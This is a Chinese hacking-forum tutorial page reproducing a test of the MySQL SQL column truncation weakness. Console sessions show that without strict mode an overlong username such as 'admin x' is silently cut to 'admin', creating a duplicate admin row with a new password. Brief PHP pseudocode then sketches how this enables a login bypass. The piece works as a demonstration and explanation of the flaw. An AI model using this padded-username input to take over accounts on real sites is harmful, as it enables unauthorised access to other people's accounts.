| 网站首页 | Vip会员区 | 教程 | 下载 | 图片 | QQ家园 | 免费资源 | 在线服务 | 论坛 | 博客 | 程序开发 | It学堂 | 作品发布 | 
站点相关
代刻黑客光盘或订做光盘

精品软件程序定制

为您的网站或者服务器保驾护航
相关内容
最 新 热 门
相 关 文 章
没有相关文章
您现在的位置: 红色黑客联盟 >> 教程 >> 黑客技术 >> 漏洞利用 >> 正文
关于MySQL的SQL Column Truncation Vulnerabilities
文章录入:7747.Net    责任编辑:7747.Net 

【字体:

By:刺

Stefan Esser今天写了篇很棒的文章,提到了关于MySQL里的两个缺陷
http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities
1. max_packet_size 的问题
2. SQL Column Truncation 攻击
我测试了第二个。
按照paper里描述的,当mysql的 sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示 warning,而不是error(如果是error就插入不成功),这样可能会导致一些截断问题。
这个问题属于mysql的一个功能,在官方文档中也有所描述,然后我们最喜欢的就是这些功能,不是吗?
测试过程如下(MySQL 5):
首先是开启了strict选项:
sql-mode="STRICT_TRANS_TABLES,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
结果如下:
mysql> create table `truncated_test` (
-> `id` int(11) NOT NULL auto_increment,
-> `username` varchar(10) default NULL,
-> `password` varchar(10) default NULL,
-> PRIMARY KEY (`id`)
-> )DEFAULT CHARSET=utf8;
Query OK, 0 rows affected (0.08 sec)
mysql> select * from truncated_test;
Empty set (0.00 sec)
mysql> show columns from truncated_test;
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| username | varchar(10) | YES | | NULL | |
| password | varchar(10) | YES | | NULL | |
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)
mysql> insert into truncated_test(`username`,`password`) values("admin","pass");
Query OK, 1 row affected (0.03 sec)
mysql> select * from truncated_test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | pass |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> insert into truncated_test(`username`,`password`) values("admin x",
"new_pass");
ERROR 1406 (22001): Data too long for column 'username' at row 1
mysql> select * from truncated_test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | pass |
+----+----------+----------+
1 row in set (0.00 sec)
然后是关闭了strict选项
sql-mode="NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION"
mysql> select * from truncated_test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | admin | pass |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> insert into truncated_test(`username`,`password`) values("admin x",
-> "new_pass");
Query OK, 1 row affected, 1 warning (0.01 sec)
mysql> select * from truncated_test;
+----+------------+----------+
| id | username | password |
+----+------------+----------+
| 1 | admin | pass |
| 2 | admin | new_pass |
+----+------------+----------+
2 rows in set (0.00 sec)
mysql>
可见插入成功。出现了两个admin的记录。
那么设想类似如下语句
$userdata = null;
if (isPasswordCorrect($username, $password)) {
$userdata = getUserDataByLogin($username);
...
}
两次查询的先后问题,可能就会导致一次bypass漏洞
当然在真实环境里没这么简单,可能在应用层面上还会有一些长度检查,往往会使这种攻击失败。但这种攻击可以实施的地方也不仅仅是登录处,还有更广泛的应用空间。

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     | 设为首页 | 加入收藏 | 广告服务 | 我要投稿 | 关于我们 | 版权申明 | 免责声明 | 隐私声明 | 网站地图 |